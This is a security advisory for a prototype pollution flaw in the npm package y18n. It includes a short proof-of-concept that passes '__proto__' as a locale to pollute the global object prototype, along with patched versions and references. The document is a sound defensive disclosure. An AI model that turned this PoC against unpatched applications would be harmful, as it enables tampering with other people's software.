GHSA-c4w7-xm78-47vh
Prototype Pollution in y18n
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Overview
The npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.
### POC
```js
const y18n = require('y18n')();
y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});
console.log(polluted); // true
```
### Recommendation
Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.
References
External links from the advisory. They lead to third-party sites.
- https://nvd.nist.gov/vuln/detail/CVE-2020-7774
- https://github.com/yargs/y18n/issues/96
- https://github.com/yargs/y18n/pull/108
- https://github.com/yargs/y18n/commit/90401eea9062ad498f4f792e3fff8008c4c193a3
- https://github.com/yargs/y18n/commit/a9ac604abf756dec9687be3843e2c93bfe581f25
- https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf
- https://github.com/yargs/y18n
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306
- https://snyk.io/vuln/SNYK-JS-Y18N-1021887
- https://www.oracle.com/security-alerts/cpuApr2021.html